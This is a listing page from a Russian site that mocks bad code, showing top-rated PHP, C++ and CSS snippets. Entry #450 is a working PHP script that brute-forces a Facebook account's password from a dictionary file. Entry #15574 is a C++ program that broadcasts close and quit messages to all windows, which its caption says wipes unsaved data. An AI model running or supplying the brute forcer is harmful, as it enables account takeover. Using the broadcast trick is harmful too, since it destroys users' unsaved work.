1. Лучший говнокод

    В номинации:
    За время:
  2. PHP / Говнокод #4838

    +20

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    if( 
        ('node' == arg(0) ) && 
        is_numeric(arg(1) ) && 
        ($node = node_load(array('nid' => arg(1), 'status' => 1 ) ) ) &&
        ( 
            ('chapter' == $node->type) || 
            ('article' == $node->type) ||
            ('gall' == $node->type)
        ) && 
        isset($node->field_parentchapter) && 
        is_array($node->field_parentchapter) && 
        count($node->field_parentchapter) 
    ){
    /// blah blah
    }

    матан, или как сделать из кучи одинаковых if() один

    brainstorm, 06 Декабря 2010

    Комментарии (14)
  3. PHP / Говнокод #370

    +20

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    while ($row = mysql_fetch_assoc($res))
    
          {
    
          echo "<td valign=top align=center>
    
    		<table width=90%><tr>
    
    		<td valign=top align=center>
    
    		<a href=# title=\"".$row['date_act']."\" onclick=\"window.open('".$_ENV['PHP_SELF']."?main=".$row['id']."','article','width=600,height=600,resizable=1,scrollbars=12');\">
    
    		<img  src=\"../../../images/yarlik/".$row['id'].".jpg\" border=0 alt=\"подробнее\"><br>".
    
    		$row['name_ru']."</a>
    
    		</td></tr></table></td>";
    
    	if ($i==3) {echo '</tr><tr>';$i=0;}
    
    	$i++;
    
          }

    Цикл выводит инфу...

    guest, 11 Января 2009

    Комментарии (16)
  4. PHP / Говнокод #348

    +20

    1. 001
    2. 002
    3. 003
    4. 004
    5. 005
    6. 006
    7. 007
    8. 008
    9. 009
    10. 010
    11. 011
    12. 012
    13. 013
    14. 014
    15. 015
    16. 016
    17. 017
    18. 018
    19. 019
    20. 020
    21. 021
    22. 022
    23. 023
    24. 024
    25. 025
    26. 026
    27. 027
    28. 028
    29. 029
    30. 030
    31. 031
    32. 032
    33. 033
    34. 034
    35. 035
    36. 036
    37. 037
    38. 038
    39. 039
    40. 040
    41. 041
    42. 042
    43. 043
    44. 044
    45. 045
    46. 046
    47. 047
    48. 048
    49. 049
    50. 050
    51. 051
    52. 052
    53. 053
    54. 054
    55. 055
    56. 056
    57. 057
    58. 058
    59. 059
    60. 060
    61. 061
    62. 062
    63. 063
    64. 064
    65. 065
    66. 066
    67. 067
    68. 068
    69. 069
    70. 070
    71. 071
    72. 072
    73. 073
    74. 074
    75. 075
    76. 076
    77. 077
    78. 078
    79. 079
    80. 080
    81. 081
    82. 082
    83. 083
    84. 084
    85. 085
    86. 086
    87. 087
    88. 088
    89. 089
    90. 090
    91. 091
    92. 092
    93. 093
    94. 094
    95. 095
    96. 096
    97. 097
    98. 098
    99. 099
    100. 100
    public function buildCriteria($table, $conditions)
        {
            $source_table = $table->getTableName();
            $criteria = new criteria($source_table, 'keyword');
    
            foreach ($conditions as $field => $conds) {
    
    
                if (is_array($conds)) {
    
                    if (isset($conds['plus'])) {
                        $word = array_shift($conds['plus']);
                        $like_criterion = new criterion($field, '%' . $word . '%', criteria::LIKE);
                        foreach ($conds['plus'] as $word) {
                            $like_criterion->addOr(new criterion($field, '%' . $word . '%', criteria::LIKE));
                        }
                    }
    
                    if (isset($conds['minus'])) {
                        $word = array_shift($conds['minus']);
                        $not_like_criterion = new criterion($field, '%' . $word . '%', criteria::NOT_LIKE);
                        foreach ($conds['minus'] as $word) {
                            $not_like_criterion->addAnd(new criterion($field, '%' . $word . '%', criteria::NOT_LIKE));
                        }
                    }
    
                    if (isset($conds['less'])) {
                        if (!is_array($conds['less'])) {
                            $conds['less'] = array($conds['less']);
                        }
    
                        $word = array_shift($conds['less']);
                        $less_criterion = new criterion($field, $word, criteria::LESS);
    
                        foreach ($conds['less'] as $word) {
                            $less_criterion->addAnd(new criterion($field, $word, criteria::LESS));
                        }
                    }
    
                    if (isset($conds['less_eq'])) {
                        if (!is_array($conds['less_eq'])) {
                            $conds['less_eq'] = array($conds['less_eq']);
                        }
    
                        $word = array_shift($conds['less_eq']);
                        $less_eq_criterion = new criterion($field, $word, criteria::LESS_EQUAL );
    
                        foreach ($conds['less_eq'] as $word) {
                            $less_eq_criterion->addAnd(new criterion($field, $word, criteria::LESS_EQUAL));
                        }
                    }
                }
            }
    
            $main_criterion = new criterion();
    
            if (!empty($like_criterion)) {
                $main_criterion->add($like_criterion);
                $add_method = 'addAnd';
            }
    
            if (!empty($not_like_criterion)) {
                if (empty($add_method)) {
                    $add_method = 'add';
                }
                $main_criterion->$add_method($not_like_criterion);
            }
    
            if (!empty($less_criterion)) {
                if (empty($add_method)) {
                    $add_method = 'add';
                }
                $main_criterion->$add_method($less_criterion);
            }
    
            if (!empty($less_eq_criterion)) {
                if (empty($add_method)) {
                    $add_method = 'add';
                }
                $main_criterion->$add_method($less_eq_criterion);
            }
    
            $criteria->add($main_criterion);
    
            return $criteria;
    
        }
    
    
    public function testBuildCriteria()
        {
            $table = new mockStubKeywordTable();
            $table->setReturnValue('getTableName', 'test_table');
    
            $query = $this->keywordQuery;
    
            $data['field1']['less'] = 5;
            $data['field2']['less_eq'] = 10;
    /*        $data['field2']['greater_eq'] = 11;
            $data['field3']['greater'] = 12;

    требуется рефакторинг

    guest, 09 Января 2009

    Комментарии (2)
  5. PHP / Говнокод #281

    +20

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    =----css----
    table{
    	border:0px; /* border="0" */
    	border-collapse:collapse; /* cellspacing="0" */
    	height: 100%;
    	width: 100%;
    }
    table td{
    	padding:0px; /* cellpadding="0" */
    }
    .inputMsg{
    	width: 100%;
    	color: #040253;
    	border:1px solid #096;
    }
    ----html-----
    <table><tr>
    	<td>time</td>
    	<td><input class="inputMsg" name="msg" type="text" maxlength="255"></td>
    	<td><a href="#" onclick="refreshChat(window.document.chatSend.msg.value); window.document.chatSend.msg.value='';window.document.chatSend.msg.focus(); return false;" class="inputEnter"></a></td>
    </tr></table>

    guest, 25 Декабря 2008

    Комментарии (8)
  6. C++ / Говнокод #228

    +20

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    source code: C++
    
    
    enum e_acomany {
    	Audi,
    	BMW, 
    	Cadillac, 
    	Ford,
    	Jaguar, 
    	Lexus 
    	Maybach, 
    	RollsRoyce, 
    	Saab
    };
    ?>

    Маны бывают разные. Этот, например, по C++

    guest, 20 Декабря 2008

    Комментарии (20)
  7. PHP / Говнокод #450

    +19.2

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    <? 
    ################################ 
    # Face Book Brute Forcer 
    ################################ 
    set_time_limit(0); 
    $username ="[email protected]"; // username to brute force 
    $dictionary ="dictionary.txt"; // need dictionary to password list 
     
    function kontrol($kullaniciadi,$sifre){ 
    $useragent = "Opera/9.21 (Windows NT 5.1; U; tr)"; 
    $data = "email=$kullaniciadi&pass=$sifre&login=Login" ; 
    $ch = curl_init('https://login.facebook.com/login.php?m&next=http://m.facebook.com/home.php'); 
    curl_setopt($ch, CURLOPT_HEADER, 0); 
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); 
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); 
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
    curl_setopt($ch, CURLOPT_POST, 1); 
    curl_setopt($ch, CURLOPT_POSTFIELDS, $data); 
    curl_setopt($ch, CURLOPT_USERAGENT, $useragent); 
    curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt'); 
    curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt'); 
    $source=curl_exec ($ch); 
    curl_close ($ch); 
    if(eregi("Home</title>",$source)){return true;} else {return false;} 
     
    } 
     
    if(!is_file($dictionary)){echo "$dictionary is not file";exit;} 
    $lines=file($dictionary); 
    echo "Attack Starting..<br>"; 
    sleep(10); 
    echo "Attack Started, brute forcing..<br>"; 
    foreach($lines as $line){ 
    $line=str_replace("\r","",$line); 
    $line=str_replace("\n","",$line); 
    if(kontrol($username,$line)){echo "<font face=tahoma color=green>[+]</font><font face=tahoma> username:$username , password:$line - P 
    assword found : $line</font><br>";$fp=fopen('cookie.txt','w');fwrite($fp,'');exit;} 
    else{echo "<font face=tahoma color=brown>[-]</font><font face=tahoma> username:$username , password:$line - Password not found :  
    $line</font><br>";} 
    } 
    ?>

    guest, 23 Января 2009

    Комментарии (6)
  8. C++ / Говнокод #1242

    +19.1

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    int GetControlImplementationsCount()
    {
    	//return 17;
    	return 18;
    }
    
    CControlImplementation* GetControlImplementation(int index)
    {
    	switch (index)
    	{
    	case 0: return new CButtonImp();
    	case 1: return new CFormImp();
    	case 2: return new CLabelImp();
    	case 3: return new CHorizontalAlignment();
    	case 4: return new CVerticalAlignment();
    	case 5: return new CMouseButton();
    	case 6: return new CActionEvent();
    	case 7: return new CMouseEvent();
    	case 8: return new CWindowEvent();
    	case 9: return new CCheckBoxImp();
    	case 10: return new CComboBoxImp();
    	case 11: return new CListBoxImp();
    	case 12: return new CRadioButtonImp();
    	case 13: return new CTextBoxImp();
    	case 14: return new CItemEvent();
    	case 15: return new CTextEvent();
    	case 16: return new CButtonGroupImp();
    	case 17: return new DialogImpl();
    	}
    
    	return NULL;
    }

    вот так кладут в ДВО РАН.

    guest, 23 Июня 2009

    Комментарии (10)
  9. Куча / Говнокод #19865

    +19

    1. 1
    guest не нужен

    d_fomenok, 22 Апреля 2016

    Комментарии (306)
  10. C++ / Говнокод #16276

    +19

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    wstring& delphi::IntToStr(int integer, wstring& str)
    {
    	if (0 == integer)		
    		return str = L"0";	
    	
    	str.clear();
    	wstring sign(L"");
    	if (integer < 0)
    	{
    		sign = L"-";
    		integer = -integer;
    	}
    	else
    		sign = L"";
    
    	while (integer >= 1)
    	{
    		str.push_back( (integer % 10) + 48 );  
    		integer /= 10;
    	}
    	str += sign;
    	std::reverse(str.begin(), str.end());
    			
    	return str;
    }

    snw, 03 Июля 2014

    Комментарии (59)
  11. C++ / Говнокод #15574

    +19

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    #include <Windows.h>
    
    int main(int argc, char* argv[])
    {
    	PostMessageA(HWND_BROADCAST, WM_CLOSE, 0, 0);       // Противник оглушен!
    	PostMessageA(HWND_BROADCAST, WM_DESTROY, 0, 0);  // Finish him!
    	PostMessageA(HWND_BROADCAST, WM_QUIT, 0, 0);         // FATALITY!!!
    
    	return 0;
    }

    Вот так, легко и непринужденно, мы заставляем ОС Windows перезагрузиться с потерей всех несохраненных данных, попутно кладя большой и толстый на UAC.

    gost, 25 Марта 2014

    Комментарии (31)